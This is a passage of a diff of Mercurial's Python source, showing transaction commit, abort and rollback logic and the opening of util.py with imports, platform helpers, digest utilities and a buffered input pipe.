444 """add a callback to be called when the transaction is aborted.
434 """add a callback to be called when the transaction is aborted.
445
435
446 The transaction will be given as the first argument to the callback.
436 The transaction will be given as the first argument to the callback.
447
437
448 Category is a unique identifier to allow overwriting an old callback
438 Category is a unique identifier to allow overwriting an old callback
449 with a newer callback.
439 with a newer callback.
450 """
440 """
451 self._abortcallback[category] = callback
441 self._abortcallback[category] = callback
452
442
453 @active
443 @active
454 def close(self):
444 def close(self):
455 '''commit the transaction'''
445 '''commit the transaction'''
456 if self.count == 1:
446 if self.count == 1:
457 self.validator(self) # will raise exception if needed
447 self.validator(self) # will raise exception if needed
458 self.validator = None # Help prevent cycles.
448 self.validator = None # Help prevent cycles.
459 self._generatefiles(group=gengroupprefinalize)
449 self._generatefiles(group=gengroupprefinalize)
460 categories = sorted(self._finalizecallback)
450 categories = sorted(self._finalizecallback)
461 for cat in categories:
451 for cat in categories:
462 self._finalizecallback[cat](self)
452 self._finalizecallback[cat](self)
463 # Prevent double usage and help clear cycles.
453 # Prevent double usage and help clear cycles.
464 self._finalizecallback = None
454 self._finalizecallback = None
465 self._generatefiles(group=gengrouppostfinalize)
455 self._generatefiles(group=gengrouppostfinalize)
466
456
467 self.count -= 1
457 self.count -= 1
468 if self.count != 0:
458 if self.count != 0:
469 return
459 return
470 self.file.close()
460 self.file.close()
471 self._backupsfile.close()
461 self._backupsfile.close()
472 # cleanup temporary files
462 # cleanup temporary files
473 for l, f, b, c in self._backupentries:
463 for l, f, b, c in self._backupentries:
474 if l not in self._vfsmap and c:
464 if l not in self._vfsmap and c:
475 self.report("couldn't remove %s: unknown cache location %s\n"
465 self.report("couldn't remove %s: unknown cache location %s\n"
476 % (b, l))
466 % (b, l))
477 continue
467 continue
478 vfs = self._vfsmap[l]
468 vfs = self._vfsmap[l]
479 if not f and b and vfs.exists(b):
469 if not f and b and vfs.exists(b):
480 try:
470 try:
481 vfs.unlink(b)
471 vfs.unlink(b)
482 except (IOError, OSError, error.Abort) as inst:
472 except (IOError, OSError, error.Abort) as inst:
483 if not c:
473 if not c:
484 raise
474 raise
485 # Abort may be raise by read only opener
475 # Abort may be raise by read only opener
486 self.report("couldn't remove %s: %s\n"
476 self.report("couldn't remove %s: %s\n"
487 % (vfs.join(b), inst))
477 % (vfs.join(b), inst))
488 self.entries = []
478 self.entries = []
489 self._writeundo()
479 self._writeundo()
490 if self.after:
480 if self.after:
491 self.after()
481 self.after()
492 self.after = None # Help prevent cycles.
482 self.after = None # Help prevent cycles.
493 if self.opener.isfile(self._backupjournal):
483 if self.opener.isfile(self._backupjournal):
494 self.opener.unlink(self._backupjournal)
484 self.opener.unlink(self._backupjournal)
495 if self.opener.isfile(self.journal):
485 if self.opener.isfile(self.journal):
496 self.opener.unlink(self.journal)
486 self.opener.unlink(self.journal)
497 for l, _f, b, c in self._backupentries:
487 for l, _f, b, c in self._backupentries:
498 if l not in self._vfsmap and c:
488 if l not in self._vfsmap and c:
499 self.report("couldn't remove %s: unknown cache location"
489 self.report("couldn't remove %s: unknown cache location"
500 "%s\n" % (b, l))
490 "%s\n" % (b, l))
501 continue
491 continue
502 vfs = self._vfsmap[l]
492 vfs = self._vfsmap[l]
503 if b and vfs.exists(b):
493 if b and vfs.exists(b):
504 try:
494 try:
505 vfs.unlink(b)
495 vfs.unlink(b)
506 except (IOError, OSError, error.Abort) as inst:
496 except (IOError, OSError, error.Abort) as inst:
507 if not c:
497 if not c:
508 raise
498 raise
509 # Abort may be raise by read only opener
499 # Abort may be raise by read only opener
510 self.report("couldn't remove %s: %s\n"
500 self.report("couldn't remove %s: %s\n"
511 % (vfs.join(b), inst))
501 % (vfs.join(b), inst))
512 self._backupentries = []
502 self._backupentries = []
513 self.journal = None
503 self.journal = None
514
504
515 self.releasefn(self, True) # notify success of closing transaction
505 self.releasefn(self, True) # notify success of closing transaction
516 self.releasefn = None # Help prevent cycles.
506 self.releasefn = None # Help prevent cycles.
517
507
518 # run post close action
508 # run post close action
519 categories = sorted(self._postclosecallback)
509 categories = sorted(self._postclosecallback)
520 for cat in categories:
510 for cat in categories:
521 self._postclosecallback[cat](self)
511 self._postclosecallback[cat](self)
522 # Prevent double usage and help clear cycles.
512 # Prevent double usage and help clear cycles.
523 self._postclosecallback = None
513 self._postclosecallback = None
524
514
525 @active
515 @active
526 def abort(self):
516 def abort(self):
527 '''abort the transaction (generally called on error, or when the
517 '''abort the transaction (generally called on error, or when the
528 transaction is not explicitly committed before going out of
518 transaction is not explicitly committed before going out of
529 scope)'''
519 scope)'''
530 self._abort()
520 self._abort()
531
521
532 def _writeundo(self):
522 def _writeundo(self):
533 """write transaction data for possible future undo call"""
523 """write transaction data for possible future undo call"""
534 if self.undoname is None:
524 if self.undoname is None:
535 return
525 return
536 undobackupfile = self.opener.open("%s.backupfiles" % self.undoname, 'w')
526 undobackupfile = self.opener.open("%s.backupfiles" % self.undoname, 'w')
537 undobackupfile.write('%d\n' % version)
527 undobackupfile.write('%d\n' % version)
538 for l, f, b, c in self._backupentries:
528 for l, f, b, c in self._backupentries:
539 if not f: # temporary file
529 if not f: # temporary file
540 continue
530 continue
541 if not b:
531 if not b:
542 u = ''
532 u = ''
543 else:
533 else:
544 if l not in self._vfsmap and c:
534 if l not in self._vfsmap and c:
545 self.report("couldn't remove %s: unknown cache location"
535 self.report("couldn't remove %s: unknown cache location"
546 "%s\n" % (b, l))
536 "%s\n" % (b, l))
547 continue
537 continue
548 vfs = self._vfsmap[l]
538 vfs = self._vfsmap[l]
549 base, name = vfs.split(b)
539 base, name = vfs.split(b)
550 assert name.startswith(self.journal), name
540 assert name.startswith(self.journal), name
551 uname = name.replace(self.journal, self.undoname, 1)
541 uname = name.replace(self.journal, self.undoname, 1)
552 u = vfs.reljoin(base, uname)
542 u = vfs.reljoin(base, uname)
553 util.copyfile(vfs.join(b), vfs.join(u), hardlink=True)
543 util.copyfile(vfs.join(b), vfs.join(u), hardlink=True)
554 undobackupfile.write("%s\0%s\0%s\0%d\n" % (l, f, u, c))
544 undobackupfile.write("%s\0%s\0%s\0%d\n" % (l, f, u, c))
555 undobackupfile.close()
545 undobackupfile.close()
556
546
557
547
558 def _abort(self):
548 def _abort(self):
559 self.count = 0
549 self.count = 0
560 self.usages = 0
550 self.usages = 0
561 self.file.close()
551 self.file.close()
562 self._backupsfile.close()
552 self._backupsfile.close()
563
553
564 try:
554 try:
565 if not self.entries and not self._backupentries:
555 if not self.entries and not self._backupentries:
566 if self._backupjournal:
556 if self._backupjournal:
567 self.opener.unlink(self._backupjournal)
557 self.opener.unlink(self._backupjournal)
568 if self.journal:
558 if self.journal:
569 self.opener.unlink(self.journal)
559 self.opener.unlink(self.journal)
570 return
560 return
571
561
572 self.report(_("transaction abort!\n"))
562 self.report(_("transaction abort!\n"))
573
563
574 try:
564 try:
575 for cat in sorted(self._abortcallback):
565 for cat in sorted(self._abortcallback):
576 self._abortcallback[cat](self)
566 self._abortcallback[cat](self)
577 # Prevent double usage and help clear cycles.
567 # Prevent double usage and help clear cycles.
578 self._abortcallback = None
568 self._abortcallback = None
579 _playback(self.journal, self.report, self.opener, self._vfsmap,
569 _playback(self.journal, self.report, self.opener, self._vfsmap,
580 self.entries, self._backupentries, False,
570 self.entries, self._backupentries, False,
581 checkambigfiles=self.checkambigfiles)
571 checkambigfiles=self.checkambigfiles)
582 self.report(_("rollback completed\n"))
572 self.report(_("rollback completed\n"))
583 except BaseException:
573 except BaseException:
584 self.report(_("rollback failed - please run hg recover\n"))
574 self.report(_("rollback failed - please run hg recover\n"))
585 finally:
575 finally:
586 self.journal = None
576 self.journal = None
587 self.releasefn(self, False) # notify failure of transaction
577 self.releasefn(self, False) # notify failure of transaction
588 self.releasefn = None # Help prevent cycles.
578 self.releasefn = None # Help prevent cycles.
589
579
590 def rollback(opener, vfsmap, file, report, checkambigfiles=None):
580 def rollback(opener, vfsmap, file, report, checkambigfiles=None):
591 """Rolls back the transaction contained in the given file
581 """Rolls back the transaction contained in the given file
592
582
593 Reads the entries in the specified file, and the corresponding
583 Reads the entries in the specified file, and the corresponding
594 '*.backupfiles' file, to recover from an incomplete transaction.
584 '*.backupfiles' file, to recover from an incomplete transaction.
595
585
596 * `file`: a file containing a list of entries, specifying where
586 * `file`: a file containing a list of entries, specifying where
597 to truncate each file. The file should contain a list of
587 to truncate each file. The file should contain a list of
598 file\0offset pairs, delimited by newlines. The corresponding
588 file\0offset pairs, delimited by newlines. The corresponding
599 '*.backupfiles' file should contain a list of file\0backupfile
589 '*.backupfiles' file should contain a list of file\0backupfile
600 pairs, delimited by \0.
590 pairs, delimited by \0.
601
591
602 `checkambigfiles` is a set of (path, vfs-location) tuples,
592 `checkambigfiles` is a set of (path, vfs-location) tuples,
603 which determine whether file stat ambiguity should be avoided at
593 which determine whether file stat ambiguity should be avoided at
604 restoring corresponded files.
594 restoring corresponded files.
605 """
595 """
606 entries = []
596 entries = []
607 backupentries = []
597 backupentries = []
608
598
609 fp = opener.open(file)
599 fp = opener.open(file)
610 lines = fp.readlines()
600 lines = fp.readlines()
611 fp.close()
601 fp.close()
612 for l in lines:
602 for l in lines:
613 try:
603 try:
614 f, o = l.split('\0')
604 f, o = l.split('\0')
615 entries.append((f, int(o), None))
605 entries.append((f, int(o), None))
616 except ValueError:
606 except ValueError:
617 report(_("couldn't read journal entry %r!\n") % l)
607 report(_("couldn't read journal entry %r!\n") % l)
618
608
619 backupjournal = "%s.backupfiles" % file
609 backupjournal = "%s.backupfiles" % file
620 if opener.exists(backupjournal):
610 if opener.exists(backupjournal):
621 fp = opener.open(backupjournal)
611 fp = opener.open(backupjournal)
622 lines = fp.readlines()
612 lines = fp.readlines()
623 if lines:
613 if lines:
624 ver = lines[0][:-1]
614 ver = lines[0][:-1]
625 if ver == str(version):
615 if ver == str(version):
626 for line in lines[1:]:
616 for line in lines[1:]:
627 if line:
617 if line:
628 # Shave off the trailing newline
618 # Shave off the trailing newline
629 line = line[:-1]
619 line = line[:-1]
630 l, f, b, c = line.split('\0')
620 l, f, b, c = line.split('\0')
631 backupentries.append((l, f, b, bool(c)))
621 backupentries.append((l, f, b, bool(c)))
632 else:
622 else:
633 report(_("journal was created by a different version of "
623 report(_("journal was created by a different version of "
634 "Mercurial\n"))
624 "Mercurial\n"))
635
625
636 _playback(file, report, opener, vfsmap, entries, backupentries,
626 _playback(file, report, opener, vfsmap, entries, backupentries,
637 checkambigfiles=checkambigfiles)
627 checkambigfiles=checkambigfiles)
@@ -1,3732 +1,3758 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import
16 from __future__ import absolute_import
17
17
18 import abc
18 import bz2
19 import bz2
19 import calendar
20 import calendar
20 import codecs
21 import codecs
21 import collections
22 import collections
22 import contextlib
23 import contextlib
23 import datetime
24 import datetime
24 import errno
25 import errno
25 import gc
26 import gc
26 import hashlib
27 import hashlib
27 import imp
28 import imp
28 import os
29 import os
29 import platform as pyplatform
30 import platform as pyplatform
30 import re as remod
31 import re as remod
31 import shutil
32 import shutil
32 import signal
33 import signal
33 import socket
34 import socket
34 import stat
35 import stat
35 import string
36 import string
36 import subprocess
37 import subprocess
37 import sys
38 import sys
38 import tempfile
39 import tempfile
39 import textwrap
40 import textwrap
40 import time
41 import time
41 import traceback
42 import traceback
42 import warnings
43 import warnings
43 import zlib
44 import zlib
44
45
45 from . import (
46 from . import (
46 encoding,
47 encoding,
47 error,
48 error,
48 i18n,
49 i18n,
49 policy,
50 policy,
50 pycompat,
51 pycompat,
51 )
52 )
52
53
53 base85 = policy.importmod(r'base85')
54 base85 = policy.importmod(r'base85')
54 osutil = policy.importmod(r'osutil')
55 osutil = policy.importmod(r'osutil')
55 parsers = policy.importmod(r'parsers')
56 parsers = policy.importmod(r'parsers')
56
57
57 b85decode = base85.b85decode
58 b85decode = base85.b85decode
58 b85encode = base85.b85encode
59 b85encode = base85.b85encode
59
60
60 cookielib = pycompat.cookielib
61 cookielib = pycompat.cookielib
61 empty = pycompat.empty
62 empty = pycompat.empty
62 httplib = pycompat.httplib
63 httplib = pycompat.httplib
63 httpserver = pycompat.httpserver
64 httpserver = pycompat.httpserver
64 pickle = pycompat.pickle
65 pickle = pycompat.pickle
65 queue = pycompat.queue
66 queue = pycompat.queue
66 socketserver = pycompat.socketserver
67 socketserver = pycompat.socketserver
67 stderr = pycompat.stderr
68 stderr = pycompat.stderr
68 stdin = pycompat.stdin
69 stdin = pycompat.stdin
69 stdout = pycompat.stdout
70 stdout = pycompat.stdout
70 stringio = pycompat.stringio
71 stringio = pycompat.stringio
71 urlerr = pycompat.urlerr
72 urlerr = pycompat.urlerr
72 urlreq = pycompat.urlreq
73 urlreq = pycompat.urlreq
73 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
74
75
75 # workaround for win32mbcs
76 # workaround for win32mbcs
76 _filenamebytestr = pycompat.bytestr
77 _filenamebytestr = pycompat.bytestr
77
78
78 def isatty(fp):
79 def isatty(fp):
79 try:
80 try:
80 return fp.isatty()
81 return fp.isatty()
81 except AttributeError:
82 except AttributeError:
82 return False
83 return False
83
84
84 # glibc determines buffering on first write to stdout - if we replace a TTY
85 # glibc determines buffering on first write to stdout - if we replace a TTY
85 # destined stdout with a pipe destined stdout (e.g. pager), we want line
86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
86 # buffering
87 # buffering
87 if isatty(stdout):
88 if isatty(stdout):
88 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
89
90
90 if pycompat.osname == 'nt':
91 if pycompat.osname == 'nt':
91 from . import windows as platform
92 from . import windows as platform
92 stdout = platform.winstdout(stdout)
93 stdout = platform.winstdout(stdout)
93 else:
94 else:
94 from . import posix as platform
95 from . import posix as platform
95
96
96 _ = i18n._
97 _ = i18n._
97
98
98 bindunixsocket = platform.bindunixsocket
99 bindunixsocket = platform.bindunixsocket
99 cachestat = platform.cachestat
100 cachestat = platform.cachestat
100 checkexec = platform.checkexec
101 checkexec = platform.checkexec
101 checklink = platform.checklink
102 checklink = platform.checklink
102 copymode = platform.copymode
103 copymode = platform.copymode
103 executablepath = platform.executablepath
104 executablepath = platform.executablepath
104 expandglobs = platform.expandglobs
105 expandglobs = platform.expandglobs
105 explainexit = platform.explainexit
106 explainexit = platform.explainexit
106 findexe = platform.findexe
107 findexe = platform.findexe
107 gethgcmd = platform.gethgcmd
108 gethgcmd = platform.gethgcmd
108 getuser = platform.getuser
109 getuser = platform.getuser
109 getpid = os.getpid
110 getpid = os.getpid
110 groupmembers = platform.groupmembers
111 groupmembers = platform.groupmembers
111 groupname = platform.groupname
112 groupname = platform.groupname
112 hidewindow = platform.hidewindow
113 hidewindow = platform.hidewindow
113 isexec = platform.isexec
114 isexec = platform.isexec
114 isowner = platform.isowner
115 isowner = platform.isowner
115 listdir = osutil.listdir
116 listdir = osutil.listdir
116 localpath = platform.localpath
117 localpath = platform.localpath
117 lookupreg = platform.lookupreg
118 lookupreg = platform.lookupreg
118 makedir = platform.makedir
119 makedir = platform.makedir
119 nlinks = platform.nlinks
120 nlinks = platform.nlinks
120 normpath = platform.normpath
121 normpath = platform.normpath
121 normcase = platform.normcase
122 normcase = platform.normcase
122 normcasespec = platform.normcasespec
123 normcasespec = platform.normcasespec
123 normcasefallback = platform.normcasefallback
124 normcasefallback = platform.normcasefallback
124 openhardlinks = platform.openhardlinks
125 openhardlinks = platform.openhardlinks
125 oslink = platform.oslink
126 oslink = platform.oslink
126 parsepatchoutput = platform.parsepatchoutput
127 parsepatchoutput = platform.parsepatchoutput
127 pconvert = platform.pconvert
128 pconvert = platform.pconvert
128 poll = platform.poll
129 poll = platform.poll
129 popen = platform.popen
130 popen = platform.popen
130 posixfile = platform.posixfile
131 posixfile = platform.posixfile
131 quotecommand = platform.quotecommand
132 quotecommand = platform.quotecommand
132 readpipe = platform.readpipe
133 readpipe = platform.readpipe
133 rename = platform.rename
134 rename = platform.rename
134 removedirs = platform.removedirs
135 removedirs = platform.removedirs
135 samedevice = platform.samedevice
136 samedevice = platform.samedevice
136 samefile = platform.samefile
137 samefile = platform.samefile
137 samestat = platform.samestat
138 samestat = platform.samestat
138 setbinary = platform.setbinary
139 setbinary = platform.setbinary
139 setflags = platform.setflags
140 setflags = platform.setflags
140 setsignalhandler = platform.setsignalhandler
141 setsignalhandler = platform.setsignalhandler
141 shellquote = platform.shellquote
142 shellquote = platform.shellquote
142 spawndetached = platform.spawndetached
143 spawndetached = platform.spawndetached
143 split = platform.split
144 split = platform.split
144 sshargs = platform.sshargs
145 sshargs = platform.sshargs
145 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
146 statisexec = platform.statisexec
147 statisexec = platform.statisexec
147 statislink = platform.statislink
148 statislink = platform.statislink
148 testpid = platform.testpid
149 testpid = platform.testpid
149 umask = platform.umask
150 umask = platform.umask
150 unlink = platform.unlink
151 unlink = platform.unlink
151 username = platform.username
152 username = platform.username
152
153
153 try:
154 try:
154 recvfds = osutil.recvfds
155 recvfds = osutil.recvfds
155 except AttributeError:
156 except AttributeError:
156 pass
157 pass
157 try:
158 try:
158 setprocname = osutil.setprocname
159 setprocname = osutil.setprocname
159 except AttributeError:
160 except AttributeError:
160 pass
161 pass
161
162
162 # Python compatibility
163 # Python compatibility
163
164
164 _notset = object()
165 _notset = object()
165
166
166 # disable Python's problematic floating point timestamps (issue4836)
167 # disable Python's problematic floating point timestamps (issue4836)
167 # (Python hypocritically says you shouldn't change this behavior in
168 # (Python hypocritically says you shouldn't change this behavior in
168 # libraries, and sure enough Mercurial is not a library.)
169 # libraries, and sure enough Mercurial is not a library.)
169 os.stat_float_times(False)
170 os.stat_float_times(False)
170
171
171 def safehasattr(thing, attr):
172 def safehasattr(thing, attr):
172 return getattr(thing, attr, _notset) is not _notset
173 return getattr(thing, attr, _notset) is not _notset
173
174
174 def bitsfrom(container):
175 def bitsfrom(container):
175 bits = 0
176 bits = 0
176 for bit in container:
177 for bit in container:
177 bits |= bit
178 bits |= bit
178 return bits
179 return bits
179
180
180 # python 2.6 still have deprecation warning enabled by default. We do not want
181 # python 2.6 still have deprecation warning enabled by default. We do not want
181 # to display anything to standard user so detect if we are running test and
182 # to display anything to standard user so detect if we are running test and
182 # only use python deprecation warning in this case.
183 # only use python deprecation warning in this case.
183 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
184 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
184 if _dowarn:
185 if _dowarn:
185 # explicitly unfilter our warning for python 2.7
186 # explicitly unfilter our warning for python 2.7
186 #
187 #
187 # The option of setting PYTHONWARNINGS in the test runner was investigated.
188 # The option of setting PYTHONWARNINGS in the test runner was investigated.
188 # However, module name set through PYTHONWARNINGS was exactly matched, so
189 # However, module name set through PYTHONWARNINGS was exactly matched, so
189 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
190 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
190 # makes the whole PYTHONWARNINGS thing useless for our usecase.
191 # makes the whole PYTHONWARNINGS thing useless for our usecase.
191 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
192 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
192 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
193 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
193 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
194 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
194
195
195 def nouideprecwarn(msg, version, stacklevel=1):
196 def nouideprecwarn(msg, version, stacklevel=1):
196 """Issue an python native deprecation warning
197 """Issue an python native deprecation warning
197
198
198 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
199 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
199 """
200 """
200 if _dowarn:
201 if _dowarn:
201 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
202 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
202 " update your code.)") % version
203 " update your code.)") % version
203 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
204 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
204
205
205 DIGESTS = {
206 DIGESTS = {
206 'md5': hashlib.md5,
207 'md5': hashlib.md5,
207 'sha1': hashlib.sha1,
208 'sha1': hashlib.sha1,
208 'sha512': hashlib.sha512,
209 'sha512': hashlib.sha512,
209 }
210 }
210 # List of digest types from strongest to weakest
211 # List of digest types from strongest to weakest
211 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
212 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
212
213
213 for k in DIGESTS_BY_STRENGTH:
214 for k in DIGESTS_BY_STRENGTH:
214 assert k in DIGESTS
215 assert k in DIGESTS
215
216
216 class digester(object):
217 class digester(object):
217 """helper to compute digests.
218 """helper to compute digests.
218
219
219 This helper can be used to compute one or more digests given their name.
220 This helper can be used to compute one or more digests given their name.
220
221
221 >>> d = digester(['md5', 'sha1'])
222 >>> d = digester(['md5', 'sha1'])
222 >>> d.update('foo')
223 >>> d.update('foo')
223 >>> [k for k in sorted(d)]
224 >>> [k for k in sorted(d)]
224 ['md5', 'sha1']
225 ['md5', 'sha1']
225 >>> d['md5']
226 >>> d['md5']
226 'acbd18db4cc2f85cedef654fccc4a4d8'
227 'acbd18db4cc2f85cedef654fccc4a4d8'
227 >>> d['sha1']
228 >>> d['sha1']
228 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
229 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
229 >>> digester.preferred(['md5', 'sha1'])
230 >>> digester.preferred(['md5', 'sha1'])
230 'sha1'
231 'sha1'
231 """
232 """
232
233
233 def __init__(self, digests, s=''):
234 def __init__(self, digests, s=''):
234 self._hashes = {}
235 self._hashes = {}
235 for k in digests:
236 for k in digests:
236 if k not in DIGESTS:
237 if k not in DIGESTS:
237 raise Abort(_('unknown digest type: %s') % k)
238 raise Abort(_('unknown digest type: %s') % k)
238 self._hashes[k] = DIGESTS[k]()
239 self._hashes[k] = DIGESTS[k]()
239 if s:
240 if s:
240 self.update(s)
241 self.update(s)
241
242
242 def update(self, data):
243 def update(self, data):
243 for h in self._hashes.values():
244 for h in self._hashes.values():
244 h.update(data)
245 h.update(data)
245
246
246 def __getitem__(self, key):
247 def __getitem__(self, key):
247 if key not in DIGESTS:
248 if key not in DIGESTS:
248 raise Abort(_('unknown digest type: %s') % k)
249 raise Abort(_('unknown digest type: %s') % k)
249 return self._hashes[key].hexdigest()
250 return self._hashes[key].hexdigest()
250
251
251 def __iter__(self):
252 def __iter__(self):
252 return iter(self._hashes)
253 return iter(self._hashes)
253
254
254 @staticmethod
255 @staticmethod
255 def preferred(supported):
256 def preferred(supported):
256 """returns the strongest digest type in both supported and DIGESTS."""
257 """returns the strongest digest type in both supported and DIGESTS."""
257
258
258 for k in DIGESTS_BY_STRENGTH:
259 for k in DIGESTS_BY_STRENGTH:
259 if k in supported:
260 if k in supported:
260 return k
261 return k
261 return None
262 return None
262
263
263 class digestchecker(object):
264 class digestchecker(object):
264 """file handle wrapper that additionally checks content against a given
265 """file handle wrapper that additionally checks content against a given
265 size and digests.
266 size and digests.
266
267
267 d = digestchecker(fh, size, {'md5': '...'})
268 d = digestchecker(fh, size, {'md5': '...'})
268
269
269 When multiple digests are given, all of them are validated.
270 When multiple digests are given, all of them are validated.
270 """
271 """
271
272
272 def __init__(self, fh, size, digests):
273 def __init__(self, fh, size, digests):
273 self._fh = fh
274 self._fh = fh
274 self._size = size
275 self._size = size
275 self._got = 0
276 self._got = 0
276 self._digests = dict(digests)
277 self._digests = dict(digests)
277 self._digester = digester(self._digests.keys())
278 self._digester = digester(self._digests.keys())
278
279
279 def read(self, length=-1):
280 def read(self, length=-1):
280 content = self._fh.read(length)
281 content = self._fh.read(length)
281 self._digester.update(content)
282 self._digester.update(content)
282 self._got += len(content)
283 self._got += len(content)
283 return content
284 return content
284
285
285 def validate(self):
286 def validate(self):
286 if self._size != self._got:
287 if self._size != self._got:
287 raise Abort(_('size mismatch: expected %d, got %d') %
288 raise Abort(_('size mismatch: expected %d, got %d') %
288 (self._size, self._got))
289 (self._size, self._got))
289 for k, v in self._digests.items():
290 for k, v in self._digests.items():
290 if v != self._digester[k]:
291 if v != self._digester[k]:
291 # i18n: first parameter is a digest name
292 # i18n: first parameter is a digest name
292 raise Abort(_('%s mismatch: expected %s, got %s') %
293 raise Abort(_('%s mismatch: expected %s, got %s') %
293 (k, v, self._digester[k]))
294 (k, v, self._digester[k]))
294
295
295 try:
296 try:
296 buffer = buffer
297 buffer = buffer
297 except NameError:
298 except NameError:
298 def buffer(sliceable, offset=0, length=None):
299 def buffer(sliceable, offset=0, length=None):
299 if length is not None:
300 if length is not None:
300 return memoryview(sliceable)[offset:offset + length]
301 return memoryview(sliceable)[offset:offset + length]
301 return memoryview(sliceable)[offset:]
302 return memoryview(sliceable)[offset:]
302
303
303 closefds = pycompat.osname == 'posix'
304 closefds = pycompat.osname == 'posix'
304
305
305 _chunksize = 4096
306 _chunksize = 4096
306
307
307 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
308 """a manually buffered input pipe
309 """a manually buffered input pipe
309
310
310 Python will not let us use buffered IO and lazy reading with 'polling' at
311 Python will not let us use buffered IO and lazy reading with 'polling' at
311 the same time. We cannot probe the buffer state and select will not detect
312 the same time. We cannot probe the buffer state and select will not detect
312 that data are ready to read if they are already buffered.
313 that data are ready to read if they are already buffered.
313
314
314 This class let us work around that by implementing its own buffering
315 This class let us work around that by implementing its own buffering
315 (allowing efficient readline) while offering a way to know if the buffer is
316 (allowing efficient readline) while offering a way to know if the buffer is
316 empty from the output (allowing collaboration of the buffer with polling).
317 empty from the output (allowing collaboration of the buffer with polling).
317
318
318 This class lives in the 'util' module because it makes use of the 'os'
319 This class lives in the 'util' module because it makes use of the 'os'
319 module from the python stdlib.
320 module from the python stdlib.
320 """
321 """
321
322
322 def __init__(self, input):
323 def __init__(self, input):
323 self._input = input
324 self._input = input
324 self._buffer = []
325 self._buffer = []
325 self._eof = False
326 self._eof = False
326 self._lenbuf = 0
327 self._lenbuf = 0
327
328
328 @property
329 @property
329 def hasbuffer(self):
330 def hasbuffer(self):
330 """True is any data is currently buffered
331 """True is any data is currently buffered
331
332
332 This will be used externally a pre-step for polling IO. If there is
333 This will be used externally a pre-step for polling IO. If there is
333 already data then no polling should be set in place."""
334 already data then no polling should be set in place."""
334 return bool(self._buffer)
335 return bool(self._buffer)
335
336
336 @property
337 @property
337 def closed(self):
338 def closed(self):
338 return self._input.closed
339 return self._input.closed
339
340
340 def fileno(self):
341 def fileno(self):
341 return self._input.fileno()
342 return self._input.fileno()
342
343
343 def close(self):
344 def close(self):
344 return self._input.close()
345 return self._input.close()
345
346
346 def read(self, size):
347 def read(self, size):
347 while (not self._eof) and (self._lenbuf < size):
348 while (not self._eof) and (self._lenbuf < size):
348 self._fillbuffer()
349 self._fillbuffer()
349 return self._frombuffer(size)
350 return self._frombuffer(size)
350
351
351 def readline(self, *args, **kwargs):
352 def readline(self, *args, **kwargs):
352 if 1 < len(self._buffer):
353 if 1 < len(self._buffer):
353 # this should not happen because both read and readline end with a
354 # this should not happen because both read and readline end with a
354 # _frombuffer call that collapse it.
355 # _frombuffer call that collapse it.
355 self._buffer = [''.join(self._buffer)]
356 self._buffer = [''.join(self._buffer)]
356 self._lenbuf = len(self._buffer[0])
357 self._lenbuf = len(self._buffer[0])
357 lfi = -1
358 lfi = -1
358 if self._buffer:
359 if self._buffer:
359 lfi = self._buffer[-1].find('\n')
360 lfi = self._buffer[-1].find('\n')
360 while (not self._eof) and lfi < 0:
361 while (not self._eof) and lfi < 0:
361 self._fillbuffer()
362 self._fillbuffer()
362 if self._buffer:
363 if self._buffer:
363 lfi = self._buffer[-1].find('\n')
364 lfi = self._buffer[-1].find('\n')
364 size = lfi + 1
365 size = lfi + 1
365 if lfi < 0: # end of file
366 if lfi < 0: # end of file
366 size = self._lenbuf
367 size = self._lenbuf
367 elif 1 < len(self._buffer):
368 elif 1 < len(self._buffer):
368 # we need to take previous chunks into account
369 # we need to take previous chunks into account
369 size += self._lenbuf - len(self._buffer[-1])
370 size += self._lenbuf - len(self._buffer[-1])
370 return self._frombuffer(size)
371 return self._frombuffer(size)
371
372
372 def _frombuffer(self, size):
373 def _frombuffer(self, size):
373 """return at most 'size' data from the buffer
374 """return at most 'size' data from the buffer
374
375
375 The data are removed from the buffer."""
376 The data are removed from the buffer."""
376 if size == 0 or not self._buffer:
377 if size == 0 or not self._buffer:
377 return ''
378 return ''
